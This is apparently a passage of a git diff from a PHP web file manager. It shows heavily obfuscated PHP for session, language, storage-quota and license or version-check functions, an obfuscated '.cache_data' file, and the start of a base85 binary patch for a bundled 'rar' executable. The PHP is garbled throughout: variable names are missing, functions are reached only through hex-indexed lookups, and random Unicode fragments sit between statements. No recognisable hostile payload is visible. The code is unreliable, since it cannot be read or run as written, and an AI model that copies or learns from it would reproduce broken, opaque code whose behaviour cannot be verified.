$Ĺ{0x0000059};$=array();;for($=0;$<$Ĺ{0x00025}($垅);$++){$ъ=$Ĺ[0x064]($垅[$][$Ĺ{0x0065}]);if(!isset($[$ъ])){$[$ъ]=0x001;}else{$[$ъ]+= 0x001;}}$Ĺ[0x00066]($);إ黦;$=$Ĺ{0x000067}($);if($Ĺ[0x0003e]($Ĺ[0x0000068],$)){$[0]=$Ĺ[0x0000068];}$GLOBALS[$Ĺ{0x0000063}]=$[0];return $[0];}function charset_check(&$,$ς){$=&$_SERVER{};if($===$[0x00001c] || !$[0x0056](${0x069})){return !1;}$Ԛŏ=${0x0000059};$=@$[0x006a]($,$Ԛŏ,$ς);襀܂;$=@$[0x006a]($,$ς,$Ԛŏ);if($==$){return !0;}return !1;}function get_charset(&$){$=&$_SERVER{};if($===$[0x00001c] || !$[0x0056](${0x0006b})){return ${0x0000059};}$=$[0x00006c](@${0x000006d}($,$GLOBALS[$[0x000002c]][$[0x06e]]));if($[0x00020]($,0,0x0002)==${0x006f}(0xFF).${0x006f}(0xFE)|| $[0x00020]($,0,0x0002)==${0x006f}(0xFE).${0x006f}(0xFF)){$=$[0x00070];}else if($[0x00020]($,0,0x00003)==${0x006f}(0xEF).${0x006f}(0xBB).${0x006f}(0xBF)){$=${0x0000059};}else if($==${0x000071} || $==$[0x0000072]){$=$[0x0000068];}else if($==${0x073}){$=${0x0000059};}if($==$[0x0074]){if(${0x00075}($,${0x0000059})){$=${0x0000059};}}return $;ͲƉԡȋս즤ըߤ޳湿;}function file_upload_size(){$=&$_SERVER{};global$config;if(isset($config[$[0x000076]][${0x0000077}])){return $config[$[0x000076]][${0x0000077}];}$=$[0x078]();return $;愿Ґ۲ŎΦ;}function space_size_use_check(){$=&$_SERVER{};if(!${0x0079}())return;if($GLOBALS[${0x0f}]==0x001)return;if($GLOBALS[${0x0001b}]==KOD_GROUP_SHARE|| $GLOBALS[${0x0001b}]==KOD_GROUP_PATH){system_group::$[0x0007a]($GLOBALS[$[0x01e]]);}else{if(ST==${0x00003f}){$=$GLOBALS[${0x00007b}][$[0x000007c]];}else{$=$_SESSION[$[0x0002a]][${0x00002b}];}system_member::$[0x0007a]($);}}function space_size_use_change($,$=true,$=false,$=false){$ǎ=&$_SERVER{};if(!$ǎ{0x0079}())return;if($===!1){$=$GLOBALS[$ǎ{0x0001b}];$=$GLOBALS[$ǎ[0x01e]];}$=$?0x001:-0x001;if($ǎ{0x07d}($)){$=$ǎ[0x007e]($);}else if($ǎ{0x00039}($)){$ڠ=$ǎ{0x0007f}($);$=$ڠ[$ǎ[0x000080]];}else{return;}if($==KOD_GROUP_SHARE|| $==KOD_GROUP_PATH){system_group::$ǎ{0x0000081}($,$*$);}else{if(ST==$ǎ{0x00003f}){$=$GLOBALS[$ǎ{0x00007b}][$ǎ[0x000007c]];}else{$=$_SESSION[$ǎ[0x0002a]][$ǎ{0x00002b}];}system_member::$ǎ{0x0000081}($,$*$);}}function space_size_use_reset(){$=&$_SERVER{};if(!${0x0079}())return;$Һ=isset($GLOBALS[${0x0001b}])?$GLOBALS[${0x0001b}]:$[0x00001c];ިƀƩסǁ̦áꢉއ;$먏=isset($GLOBALS[$[0x01e]])?$GLOBALS[$[0x01e]]:$[0x00001c];腛ޱՉ;if($Һ==KOD_GROUP_SHARE|| $Һ==KOD_GROUP_PATH){system_group::${0x0000081}($먏);}else{$Ŗ=$_SESSION[$[0x0002a]][${0x00002b}];system_member::${0x0000081}($Ŗ);}}function check_list_dir(){$ן=&$_SERVER{};$=APPHOST.$ן[0x082];ꡫ;$ȉ=$ן{0x0083};댅қ;@$ן[0x00084]($ן{0x000085},0x001);$=$ן[0x0000086](array($ן{0x087}=>array($ן[0x0088]=>$ן{0x00089},$ן[0x00008a]=>0x001)));ʉ͈֭¬áִ;$=@$ן{0x000008b}($,!1,$);if($ן[0x08c]($,$ȉ)===!1){return !0;}else{return !1;}}function php_env_check(){$=&$_SERVER{};$҈=$GLOBALS[$[0x0042]];䦦;$ׅ=$[0x00001c];if(!$[0x0056](${0x00057}))$ׅ.= ${0x008d}.$҈[$[0x0008e]].${0x00008f};if(!$[0x0056]($[0x0000090]))$ׅ.= ${0x008d}.$҈[${0x091}].${0x00008f};if(!$[0x0092](PHP_VERSION,${0x00093},$[0x000094]))$ׅ.= ${0x008d}.$҈[${0x0000095}].${0x00008f};if(!$[0x0056]($[0x096]))$ׅ.=${0x008d}.$҈[${0x0097}].${0x00008f};if(!$[0x00098]())$ׅ.=${0x008d}.$҈[${0x000099}].${0x00008f};$җ=$[0x000009a](BASIC_PATH);ϟδ;$=array(BASIC_PATH,DATA_PATH,DATA_PATH.${0x09b},DATA_PATH.$[0x009c],DATA_PATH.${0x0009d},DATA_PATH.$[0x00009e]);ۭƫӑ;foreach($ as $){if(!${0x000009f}($)){$ׅ.= ${0x008d}.$[0x0010]($җ,$[0x00001c],$).$[0x0a0].$҈[${0x00a1}].${0x00008f};}}if(!$[0x0056]($[0x000a2])|| !$[0x0056](${0x0000a3})|| !$[0x0056]($[0x00000a4])|| !$[0x0056](${0x0a5})){$ׅ.= ${0x008d}.$҈[$[0x00a6]].${0x00008f};}return $ׅ;}include(CLASS_DIR.$_SERVER{}{0x000a7});function init_common(){$=&$_SERVER{};$GLOBALS[${0x00007b}]=$[0x0000a8]();ڿ۶֜;if(!${0x00000a9}(DATA_PATH)){$[0x0aa](${0x00ab});}$=${0x000008b}(BASIC_PATH.$[0x000ac]);$ʼn=${0x0000ad}($,$[0x00000ae]);if($ʼn!=KOD_VERSION){$[0x0aa](${0x0af});}$=$[0x00b0].BASIC_PATH.${0x000b1};if(!${0x00000a9}(KOD_SESSION)|| !${0x00000a9}(KOD_SESSION.$[0x0000b2])){${0x00000b3}(KOD_SESSION);$[0x0b4](KOD_SESSION.$[0x0000b2]);if(!${0x00000a9}(KOD_SESSION.$[0x0000b2])){$[0x0aa]($);}}if(!${0x00b5}(KOD_SESSION)|| !${0x00b5}(KOD_SESSION.$[0x0000b2])|| !${0x00b5}(DATA_PATH.$[0x000b6])|| !${0x00b5}(DATA_PATH)){$[0x0aa]($);}$=LIB_DIR.${0x0000b7};if(${0x00000a9}($)){if(!${0x00b5}($)){$[0x0aa]($);}include($);$[0x00000b8]($);܄儊Ʃ€ÃڂĹêۤ퀘;${0x0b9}($);if(${0x00000a9}($)){$[0x0aa]($);}$[0x00ba]();}}function access_token_check($Ғ){$=&$_SERVER{};$=$GLOBALS[$[0x000002c]][${0x000bb}][$[0x0000bc]];$=$[0x00020](${0x00000bd}($[0x0be].$),0,0x0f);؛;$ĉ=Mcrypt::${0x00bf}($Ғ,$);⷟ꯞ˟;if(!$ĉ){$[0x0aa]($[0x000c0]);}${0x0000c1}($ĉ);}function access_token_get(){$=&$_SERVER{};$=${0x0000c1}();$=$GLOBALS[$[0x000002c]][${0x000bb}][$[0x0000bc]];$=$[0x00020](${0x00000bd}($[0x0be].$),0,0x0f);$=Mcrypt::$[0x00000c2]($,$,0x0e10*0x0000018);滎;return $;}function init_session(){$=&$_SERVER{};if(isset($_GET[${0x0c3}])){$[0x00c4]($_GET[${0x0c3}]);}else{@${0x000c5}(SESSION_ID);}@$[0x0000c6](KOD_SESSION);@${0x00000c7}();;@$[0x0c8]();麱;}function init_config(){$ގׅ=&$_SERVER{};$ގׅ{0x00c9}();;$ގׅ[0x000ca]();ނ;$ގׅ{0x0000cb}();ɍͽ兩;$ގׅ[0x00000cc]();͐Δ٘⚹ݱœꛡډ;}function need_check_code(){$=&$_SERVER{};$ِ=$GLOBALS[$[0x000002c]][${0x000bb}];˩ܰѱ۱ژȆۏ;if(!$ِ[${0x0cd}]|| !$[0x0056]($[0x000a2])|| !$[0x0056](${0x0000a3})|| !$[0x0056]($[0x00000a4])|| !$[0x0056](${0x0a5})){return !1;}else{return !0;}}function get_default_lang(){$=&$_SERVER{};$=$[0x00ce];;$=$GLOBALS[$[0x000002c]][${0x000cf}][$[0x0000d0]];$Χ=array();ܞӻ®駸Ԑ;foreach($ as $Ÿ=>$){$Χ[$Ÿ]=$Ÿ;}$Χ[${0x00000d1}]=$[0x0005c];$Χ[$[0x0d2]]=${0x00005d};;$=array();Р;if(!isset($_SERVER[${0x00d3}])){$=$[0x000d4];}else{$=$[0x0010](${0x0000d5},$[0x00000d6],$[0x00006c]($_SERVER[${0x00d3}]));}${0x0d7}($[0x00d8],$,$,PREG_SET_ORDER);foreach($ as $){$[$[0x001]]=(isset($[0x00003])?$[0x00003]:0x001);}$[0x00066]($);foreach($ as $Ÿ=>$ލ){if(isset($Χ[$Ÿ])){$=$Χ[$Ÿ];break;}$Ÿ=$[0x00016](${0x000d9},$[0x00001c],$Ÿ);if(!isset($[$Ÿ])&& isset($Χ[$Ÿ])){$=$Χ[$Ÿ];break;}}return $;}function init_lang(){$=&$_SERVER{};if(isset($_COOKIE[$[0x0000da]])){$祒=$_COOKIE[$[0x0000da]];}else{$祒=$[0x05a]();${0x00000db}($[0x0000da],$祒,$[0x0dc]()+0x0e10*0x0000018*0x064);}$祒=$[0x0010](array($[0x000012],${0x00011},${0x00dd},${0x000053}),$[0x00001c],$祒);if(isset($GLOBALS[$[0x000002c]][$[0x000076]][$[0x0000d0]])){$祒=$GLOBALS[$[0x000002c]][$[0x000076]][$[0x0000d0]];}if($祒==$[0x000de])$祒=$[0x0005c];if($祒==${0x0000df})$祒=${0x00005d};$ޯ=LANGUAGE_PATH.$祒.$[0x00000e0];;if(!${0x00000a9}($ޯ)){$祒=$[0x000d4];$ޯ=LANGUAGE_PATH.$祒.$[0x00000e0];}$[0](${0x0e1},$祒);$GLOBALS[$[0x0042]]=include($ޯ);ߐюܟ;}function make_path($ϱ){$=&$_SERVER{};$=array($[0x000012],${0x00011},$[0x0024],$[0x00e2],${0x000e3},$[0x0000e4],${0x0004d},$[0x00004e],${0x0051});return $[0x0010]($,${0x0000d5},$ϱ);ʚ׽;}function init_setting(){$Ͱ=&$_SERVER{};$=USER_SYSTEM.$Ͱ{0x00000e5};$=$GLOBALS[$Ͱ[0x000002c]][$Ͱ[0x0e6]];ެ㜞¢ɷؔƓڥަɔˆ;if(!$Ͱ{0x00000a9}($)){$꩖=$;fileCache::$Ͱ{0x00e7}($,$꩖);}else{$꩖=fileCache::$Ͱ[0x000e8]($);}foreach($ as $=>$){if(!isset($꩖[$])){$꩖[$]=$;}}$GLOBALS[$Ͱ{0x0000e9}]->$Ͱ[0x00000ea]($꩖[$Ͱ{0x0eb}]);$GLOBALS[$Ͱ{0x0000e9}]->$Ͱ[0x00ec]($Ͱ{0x000ed});⪆ʛʀ˛З뼬;$GLOBALS[$Ͱ[0x000002c]][$Ͱ{0x000bb}]=$꩖;$=USER_SYSTEM.$Ͱ[0x0000ee];Ƕً̂ҿޔú̅ఝ߲;$ۏ=$GLOBALS[$Ͱ[0x000002c]][$Ͱ{0x02d}];;if(!$Ͱ{0x00000a9}($)){fileCache::$Ͱ{0x00e7}($,$ۏ);}else{$ۏ=fileCache::$Ͱ[0x000e8]($);}$GLOBALS[$Ͱ[0x000002c]][$Ͱ{0x0047}]=$ۏ;}function init_user_setting(){$=&$_SERVER{};$GLOBALS[$[0x0042]][${0x00000ef}]=$GLOBALS[$[0x000002c]][${0x000bb}][$[0x0f0]];$GLOBALS[$[0x0042]][${0x00f1}]=$GLOBALS[$[0x000002c]][${0x000bb}][$[0x000f2]];if(isset($€[${0x0000f3}])){$GLOBALS[$[0x0042]][$[0x00000f4]]=$GLOBALS[$[0x000002c]][${0x000bb}][${0x0000f3}];}$=BASIC_PATH.${0x0f5};if(${0x00000a9}($)){include($);}$[0]($[0x00f6],$GLOBALS[$[0x000002c]][$[0x000076]][${0x000f7}]);}function user_logout(){$=&$_SERVER{};@$[0x0000f8]();@${0x000c5}(${0x00000f9});@${0x00000c7}();֝ٚӧ˅;@$[0x0000f8]();$[0x0fa](SESSION_ID,$[0x00001c],$[0x0dc]()-0x0e10,$[0x000012]);$[0x0fa](${0x00000ef},$[0x00001c],$[0x0dc]()-0x0e10);΃şʙ;$[0x0fa](${0x00fb},$[0x00001c],$[0x0dc]()-0x0e10);$[0x000fc](${0x0000fd});ź곮⩞͞뜢;exit;}function hash_encode($){$ƈ=&$_SERVER{};return $ƈ[0x0010]($ƈ[0x00000fe]($),array($ƈ{0x0ff},$ƈ[0x000012],$ƈ[0x00100]),array($ƈ{0x000101},$ƈ[0x0000102],$ƈ{0x00000103}));}function hash_decode($ᄑ){$=&$_SERVER{};return $[0x0104]($[0x0010]($ᄑ,array(${0x000101},$[0x0000102],${0x00000103}),array(${0x0ff},$[0x000012],$[0x00100])));݉;} \ No newline at end of file diff --git a/lib/class/.cache_data b/lib/class/.cache_data index f1a1295..cd4cc1b 100755 --- a/lib/class/.cache_data +++ b/lib/class/.cache_data @@ -1,2 +1,2 @@ -0x0a,$=>0x032,$=>0x0c8,$=>0x03e8,);«տѻᛨú퍗ͷ˴·𝍳ȡ;$=$->get();Ѐɫȓې;$=$[$];䄫Řˎѫ§ѝə𲉫壍;if($==${0x0001b}){if($==$&& isset($in[$[0x00001c]])){${0x000001d}($GLOBALS[$[0x01e]][${0x001f}],!1,$[0x00020]);}if(${0x000021}($)>=$&& $!=0x03e8){${0x000001d}($GLOBALS[$[0x01e]][$[0x0000022]],!1,$[0x00020]);}}if($==${0x0001b} || $==${0x023}){if($==$&& isset($in[$[0x0010]])){${0x000001d}($GLOBALS[$[0x01e]][${0x001f}],!1,$[0x00020]);}}if($==$[0x0024]){if(${0x000021}($)>$&& $!=0x03e8){$=0x001;$ϻ=array();foreach($ as $=>$){if($>$)break;$ϻ[$]=$;$++;ʿⶸݕځ߅ݾ;}$->reset($ϻ,!1);}$=$->get();⌹Ҽ뙔Ţͳغ;if($==$){$ϻ=array();foreach($ as $=>$){unset($[$[0x0010]]);$ϻ[$]=$;}$->reset($ϻ,!1);}}return $;}function system_group_data(){$=&$_SERVER{};global$in;$=ST.$[0x014].ACT;$=$[0x000012];򃪌£͙䏖;$=${0x0015};$ӿ=$[0x00016];竹쳣ڐ܇ꗀ;$=${0x000017};ߛ;$=$GLOBALS[$[0]][${0x00003}][${0x0000013}];;if(!$|| !$[0x0000018]($,array($,$,$ӿ,$))){$=$;}$=new ${0x019}(USER_SYSTEM.${0x00025});$=array($=>0x001,$=>0x0a,$ӿ=>0x032,$=>0x03e8,);Ψԟճ輓ԍ纾ěҚøܧ;$=$->get();ȃ;$ȥ=$[$];;if($==$[0x000026]){if(${0x000021}($)>=$ȥ&& $ȥ!=0x03e8){${0x000001d}($GLOBALS[$[0x01e]][$[0x0000022]],!1,$[0x00020]);}}if($==$[0x000026] || $==${0x0000027}){if($==$&& isset($in[$[0x0010]])){${0x000001d}($GLOBALS[$[0x01e]][${0x001f}],!1,$[0x00020]);}}if($==$[0x028]){if(${0x000021}($)>$ȥ&& $ȥ!=0x03e8){$=0x001;$=array();foreach($ as $=>$){if($>$ȥ)break;$[$]=$;IJ츱Φ;$++;}$->reset($,!1);ŤցƆ;}$=$->get();ݛИѶ;if($==$){$=array();foreach($ as $=>$){unset($[$[0x0010]]);$[$]=$;}$->reset($,!1);}}return $;ŝֆ˫׮ܟ;}function system_rol_data(){$ۅ=&$_SERVER{};$ȕ=ST.$ۅ[0x014].ACT;$=$ۅ[0x000012];$ِ=$ۅ{0x0015};$ӈ=$ۅ[0x00016];ϟ;$=$ۅ{0x000017};ޏ;if($ȕ==$ۅ{0x0029}){$ۅ[0x0002a]();exit;}$=&$GLOBALS[$ۅ[0]][$ۅ{0x00003}];if(!$ۅ{0x00002b}()){$[$ۅ{0x0000013}]=$;if($ȕ!=$ۅ[0x000002c] && $ۅ{0x02d}($_SESSION[$ۅ[0x002e]])&& $_SESSION[$ۅ[0x002e]][$ۅ{0x0002f}]==$ۅ[0x000030]){$ۅ{0x0000031}(!1);include(TEMPLATE.$ۅ[0x032]);exit;}}if($ȕ==$ۅ{0x0033} && $[$ۅ{0x0000013}]==$){$ۅ{0x000001d}($GLOBALS[$ۅ[0x01e]][$ۅ{0x001f}],!1);}$=new $ۅ{0x019}(USER_SYSTEM.$ۅ[0x00034]);return $;鋁ꧻ;}function init_version_check(){$=&$_SERVER{};$=&$GLOBALS[$[0]][${0x00003}];$=${0x000035};$=$[0x000012];$ʶ=${0x0015};$Ӊ=$[0x00016];$΀=${0x000017};ݻńќ̬֑㘀łه;if(!isset($[${0x0000013}])|| !$[0x0000018]($[${0x0000013}],array($,$ʶ,$Ӊ,$΀))){$[${0x0000013}]=$;}if($[${0x0000013}]==$){unset($[$[0x0000036]]);return !0;}if(!isset($[${0x0000013}])|| !isset($[${0x037}])|| !isset($[$[0x0038]])|| !isset($[${0x00039}])|| !isset($[$[0x00003a]])){return !1;}if(${0x000003b}($[${0x0000013}])!=0x001|| ${0x000003b}($[${0x037}])!=0x0010|| ${0x000003b}($[$[0x0038]])!=0x0003e|| ${0x000003b}($[${0x00039}])!=0x0010){return !1;}$ꏀ=$[0x03c]($[$[0x0038]],0x00020);$=${0x003d}($ꏀ.$[${0x037}].$[${0x00039}].$[${0x0000013}]);if($!=$[0x03c]($[$[0x0038]],0,0x00020)){return !1;}$=Mcrypt::decode($[$[0x00003a]],${0x003d}($.$[$[0x0038]]));$Σ=!1;;if(${0x001}($)){$=$[0x0003e]($);$=Mcrypt::decode($,${0x003d}($.$[${0x00039}]));if($!=${0x00003f} && $[0x0000040]($)>${0x041}()){$Σ=!0;}}if(!$Σ){return !1;}$=$[0x03c](${0x003d}($[$[0x0038]]),0x0a,0x0a);$=$.$[${0x0000013}].$[${0x00039}];$[$[0x0000036]]=Mcrypt::encode($,$,0);ۀ麠ƦǘȣЍ;return !0;}function version_install(){$=&$_SERVER{};$ʻ=&$GLOBALS[$[0]][${0x00003}];;$=${0x000035};if(isset($_GET[$[0x0042]])){${0x0000031}(!0);${0x00043}($[0x000044]);}if(!isset($_GET[${0x0000045}])){include(TEMPLATE.$[0x032]);exit;}else{$=$[0x046](0x0010);$=${0x0047};$=$.$[0x00048].$_GET[${0x0000045}].${0x000049}.$;$=$.$[0x000004a].${0x04b}($_SERVER[$[0x004c]]);$=${0x0004d}($[0x0003e]($),!0);if(${0x02d}($)&& $[$[0x00004e]]==!0&& ${0x02d}($[${0x000004f}])){$=new ${0x019}(USER_SYSTEM.$[0x050]);$=$->get();$[${0x037}]=$_GET[${0x0000045}];$[$[0x0038]]=$[${0x000004f}][$[0x0038]];$[${0x00039}]=$;$[${0x0000013}]=$[${0x000004f}][${0x0000013}];$ĕ=Mcrypt::decode($ʻ[$[0x00003a]],${0x003d}($.$ʻ[$[0x0038]]));${0x0051}($ĕ);$[0x00052]($,$[${0x000004f}]);$->reset($);$ڋ=BASIC_PATH.${0x000053};if(!${0x001}($ڋ)){$=$[0x0000054];${0x055}($ڋ,$);}$[0x0056]($GLOBALS[$[0x01e]][${0x00057}]);}else{$[0x0056]($[${0x000004f}],!1);ׯ;}}}function install_msg($,$=true){$=&$_SERVER{};$ɤ=$?$[0x000058] :${0x0000059};$[0x05a]($,$ɤ,0x0002);}function version_install_path(&$,$){$=&$_SERVER{};$=$[${0x005b}];ŀȐڶѿ;$=${0x000035};$=${0x00003f};ŪɅ忷쯅Ϳ˯̐ݤ¨;$=$[0x0005c].$[0x03c](${0x003d}($[0x046](0x014).${0x041}()),0x0f,0x0a).${0x00005d};Ѿ;$=array($[0x000005e],${0x05f},$[0x0060],${0x00061},$[0x000062],${0x0000063}(${0x0000063}(${0x0000063}(WEB_ROOT))),${0x0000063}(${0x0000063}(WEB_ROOT)),${0x0000063}(WEB_ROOT),WEB_ROOT,${0x0000063}(BASIC_PATH),DATA_PATH.$[0x064],DATA_PATH.${0x0065},DATA_PATH.$[0x00066]);$ؠ=${0x00003f};foreach($ as $Ȕ){if(${0x001}($Ȕ)&& ${0x000067}($Ȕ)){$ؠ=$Ȕ.$[0x0000068].$;break;}}if(isset($[${0x069}])&& $[${0x069}]==0x001){$ؠ=$[0x006a].$;}$=Mcrypt::encode($,${0x003d}($.$[${0x00039}]));${0x055}($ؠ,$);if(!${0x001}($ؠ)){$[0x0056](${0x0006b},!1);}$[$[0x00003a]]=Mcrypt::encode($ؠ,${0x003d}($.$[$[0x0038]]));return;Ӧ诵;}function version_reset($=false){$=&$_SERVER{};$ưآ=&$GLOBALS[$[0]][${0x00003}];$=${0x000035};$=Mcrypt::decode($ưآ[$[0x00003a]],${0x003d}($.$ưآ[$[0x0038]]));ɫé;${0x0051}($);ƻϵӻ;$=new ${0x019}(USER_SYSTEM.$[0x050]);;$=$->get();unset($[${0x037}]);unset($[$[0x0038]]);unset($[${0x00039}]);unset($[$[0x00003a]]);if($){unset($[${0x0000013}]);}$->reset($);} \ No newline at end of file +0x0a,$=>0x032,$=>0x0c8,$=>0x03e8,);楍ʽЫېߖŗ;$=$->$[0x00001c]();$=$[$ڂ];if($==${0x000001d}){if($ڂ==$&& isset($in[$[0x01e]])){${0x001f}($GLOBALS[$[0x00020]][${0x000021}],!1,$[0x0000022]);}if(${0x023}($)>=$&& $!=0x03e8){${0x001f}($GLOBALS[$[0x00020]][$[0x0024]],!1,$[0x0000022]);}}if($==${0x000001d} || $==${0x00025}){if($ڂ==$&& isset($in[${0x00011}])){${0x001f}($GLOBALS[$[0x00020]][${0x000021}],!1,$[0x0000022]);}}if($==$[0x000026]){if(${0x023}($)>$&& $!=0x03e8){$=0x001;$=array();foreach($ as $=>$){if($>$)break;$[$]=$;$++;™;}$->${0x0000027}($,!1);ڈ;}$=$->$[0x00001c]();if($ڂ==$){$=array();foreach($ as $=>$){unset($[${0x00011}]);$[$]=$;}$->${0x0000027}($,!1);}}return $;}function system_group_data(){$=&$_SERVER{˖};global$in;$=ST.${0x0015}.ACT;$̰=${0x0000013};ąӾҴ絁ѥ;$=$[0x00016];$=${0x000017};᳥̖ٓ̍ï楌ހ☍ُػ̷ؗ;$=$[0x0000018];̀Ɗ򠾖Ƌюę;$=$GLOBALS[$[0]][${0x00003}][$[0x014]];௣ӵϛ𲖣;if(!$|| !${0x019}($,array($̰,$,$,$))){$=$̰;}$=new $[0x001a](USER_SYSTEM.$[0x028]);$ܸ=array($̰=>0x001,$=>0x0a,$=>0x032,$=>0x03e8,);բ;$=$->$[0x00001c]();$ϔ=$ܸ[$];햎݈ٕٱۭ;if($==${0x0029}){if(${0x023}($)>=$ϔ&& $ϔ!=0x03e8){${0x001f}($GLOBALS[$[0x00020]][$[0x0024]],!1,$[0x0000022]);}}if($==${0x0029} || $==$[0x0002a]){if($==$̰&& isset($in[${0x00011}])){${0x001f}($GLOBALS[$[0x00020]][${0x000021}],!1,$[0x0000022]);}}if($==${0x00002b}){if(${0x023}($)>$ϔ&& $ϔ!=0x03e8){$؆=0x001;$=array();foreach($ as $=>$){if($؆>$ϔ)break;$[$]=$;ī;$؆++;}$->${0x0000027}($,!1);Ӣޑܹ;}$=$->$[0x00001c]();;if($==$̰){$=array();foreach($ as $=>$){unset($[${0x00011}]);$[$]=$;}$->${0x0000027}($,!1);}}return $;}function system_rol_data(){$=&$_SERVER{˖};$=ST.${0x0015}.ACT;떼揪Ɲ;$ò=${0x0000013};$=$[0x00016];Ǟ;$m=${0x000017};$=$[0x0000018];;if($==$[0x000002c]){${0x02d}();exit;}$=&$GLOBALS[$[0]][${0x00003}];if(!$[0x002e]()){$[$[0x014]]=$ò;if($!=${0x0002f} && $[0x000030]($_SESSION[${0x0000031}])&& $_SESSION[${0x0000031}][$[0x032]]==${0x0033}){$[0x00034](!1);include(TEMPLATE.${0x000035});exit;}}if($==$[0x0000036] && $[$[0x014]]==$ò){${0x001f}($GLOBALS[$[0x00020]][${0x000021}],!1);}$=new $[0x001a](USER_SYSTEM.${0x037});return $;ސ봎;}function init_version_check(){$=&$_SERVER{˖};$=&$GLOBALS[$[0]][${0x00003}];$=$[0x0038];⭙ӹԊȝ̠;$=${0x0000013};ʽõ;$=$[0x00016];㸷«Υ΍իۦ騘;$=${0x000017};̜;$=$[0x0000018];if(!isset($[$[0x014]])|| !${0x019}($[$[0x014]],array($,$,$,$))){$[$[0x014]]=$;}if($[$[0x014]]==$){unset($[${0x00039}]);return !0;}if(!isset($[$[0x014]])|| !isset($[$[0x00003a]])|| !isset($[${0x000003b}])|| !isset($[$[0x03c]])|| !isset($[${0x003d}])){return !1;}if($[0x0003e]($[$[0x014]])!=0x001|| $[0x0003e]($[$[0x00003a]])!=0x0010|| $[0x0003e]($[${0x000003b}])!=0x0003e|| $[0x0003e]($[$[0x03c]])!=0x0010){return !1;}$=${0x00003f}($[${0x000003b}],0x00020);$Ƃ=$[0x0000040]($.$[$[0x00003a]].$[$[0x03c]].$[$[0x014]]);if($Ƃ!=${0x00003f}($[${0x000003b}],0,0x00020)){return !1;}$Ь=Mcrypt::${0x041}($[${0x003d}],$[0x0000040]($.$[${0x000003b}]));$=!1;if(${0x001}($Ь)){$=$[0x0042]($Ь);$=Mcrypt::${0x041}($,$[0x0000040]($.$[$[0x03c]]));if($!=${0x00043} && $[0x000044]($)>${0x0000045}()){$=!0;}}if(!$){return !1;}$=${0x00003f}($[0x0000040]($[${0x000003b}]),0x0a,0x0a);$=$.$[$[0x014]].$[$[0x03c]];$[${0x00039}]=Mcrypt::${0x05}($,$,0);return !0;}function version_install(){$=&$_SERVER{˖};$ٿ=&$GLOBALS[$[0]][${0x00003}];Ͳ;$=$[0x0038];ựڶΏ;if(isset($_GET[$[0x046]])){$[0x00034](!0);${0x0047}($[0x00048]);}if(!isset($_GET[${0x000049}])){include(TEMPLATE.${0x000035});exit;}else{$=$[0x000004a](0x0010);$=${0x04b};$=$.$[0x004c].$_GET[${0x000049}].${0x0004d}.$;$=$.$[0x00004e].${0x000004f}($_SERVER[$[0x050]]);$=${0x0051}($[0x0042]($),!0);if($[0x000030]($)&& $[$[0x00052]]==!0&& $[0x000030]($[${0x000053}])){$=new $[0x001a](USER_SYSTEM.$[0x0000054]);$=$->$[0x00001c]();$[$[0x00003a]]=$_GET[${0x000049}];$[${0x000003b}]=$[${0x000053}][${0x000003b}];$[$[0x03c]]=$;$[$[0x014]]=$[${0x000053}][$[0x014]];$ɞ=Mcrypt::${0x041}($ٿ[${0x003d}],$[0x0000040]($.$ٿ[${0x000003b}]));${0x055}($ɞ);$[0x0056]($,$[${0x000053}]);$->${0x0000027}($);$=BASIC_PATH.${0x00057};if(!${0x001}($)){$ư=$[0x000058];${0x0000059}($,$ư);}$[0x05a]($GLOBALS[$[0x00020]][${0x005b}]);}else{$[0x05a]($[${0x000053}],!1);͍쐓똭پɷ;}}}function install_msg($,$=true){$=&$_SERVER{˖};$=$?$[0x0005c] :${0x00005d};$[0x000005e]($,$,0x0002);⚲چʝ۠̆;}function version_install_path(&$ǰ,$Ѣ){$=&$_SERVER{˖};$ٟ=$Ѣ[${0x05f}];$ﮑ=$[0x0038];;$=${0x00043};ۼ텧ȥȮ;$ͪ=$[0x0060].${0x00003f}($[0x0000040]($[0x000004a](0x014).${0x0000045}()),0x0f,0x0a).${0x00061};$=array($[0x000062],${0x0000063},$[0x064],${0x0065},$[0x00066],${0x000067}(${0x000067}(${0x000067}(WEB_ROOT))),${0x000067}(${0x000067}(WEB_ROOT)),${0x000067}(WEB_ROOT),WEB_ROOT,${0x000067}(BASIC_PATH),DATA_PATH.$[0x0000068],DATA_PATH.${0x069},DATA_PATH.$[0x006a]);$=${0x00043};;foreach($ as $){if(${0x001}($)&& ${0x0006b}($)){$=$.$[0x00006c].$ͪ;break;}}if(isset($Ѣ[${0x000006d}])&& $Ѣ[${0x000006d}]==0x001){$=$[0x06e].$ͪ;}$=Mcrypt::${0x05}($ٟ,$[0x0000040]($ﮑ.$ǰ[$[0x03c]]));${0x0000059}($,$);if(!${0x001}($)){$[0x05a](${0x006f},!1);}$ǰ[${0x003d}]=Mcrypt::${0x05}($,$[0x0000040]($ﮑ.$ǰ[${0x000003b}]));return;ȏӗݘ;}function version_reset($=false){$=&$_SERVER{˖};$=&$GLOBALS[$[0]][${0x00003}];$=$[0x0038];$=Mcrypt::${0x041}($[${0x003d}],$[0x0000040]($.$[${0x000003b}]));${0x055}($);$Ќ=new $[0x001a](USER_SYSTEM.$[0x0000054]);Ô叨ƜЇŕ;$=$Ќ->$[0x00001c]();򾓃Ʉд;unset($[$[0x00003a]]);unset($[${0x000003b}]);㴠;unset($[$[0x03c]]);unset($[${0x003d}]);񵹋̿Ė׈䤠ߝ;if($){unset($[$[0x014]]);}$Ќ->${0x0000027}($);} \ No newline at end of file diff --git a/lib/class/archiveLib/bin/rar b/lib/class/archiveLib/bin/rar index 1ba2a0c20fe255b09e0b275ca127090c5fe43b95..94d29e43d2241a10ca7b3c232bfeb8c390ece3ea 100755 GIT binary patch literal 303288 zcmb@v3t&{m^*??$S!6}QTcW;pWe*1rHYwnyg zGiT1soH^&rnYowwWfep7JRZgQ7?@Wo6V9`zg+>e3&*6|ywwL{t+DYqq;X;c~ z=cy=una_IUwK-|!Hzy}byz?B=T*`+Ml7F*LmgR56H{pp)FaC}r#OII>&jF`NP;s74y5NYQX;UZsd_ezc6EB%Ibw*^~CG!UU{F0v!=vO_n-=(tO1z?0_hh2B0 zWXTyv6%cvuj{n$0=BJ*y@}-~EoqY0Tt2X^Leb!4aZyDHH$h>>;A8D{(i-UfDOYx)m z#LdTlI{tfmL6=QWRlT*L&sh)moP6W>f(uUi-AnVj?(A0bU83jCzaJbtul&xHyJ`#n z$6;B5hE4{pqkmg+;J-vij#d6^bn006%{lOU(XnHdUz($QV~%z&&r$v&ERti<|6L9` zujRmBn1lYma+H5GN4s2>$KvP49QZ&EI-ln#|4xqiq8$2e%DtKHV6M_ 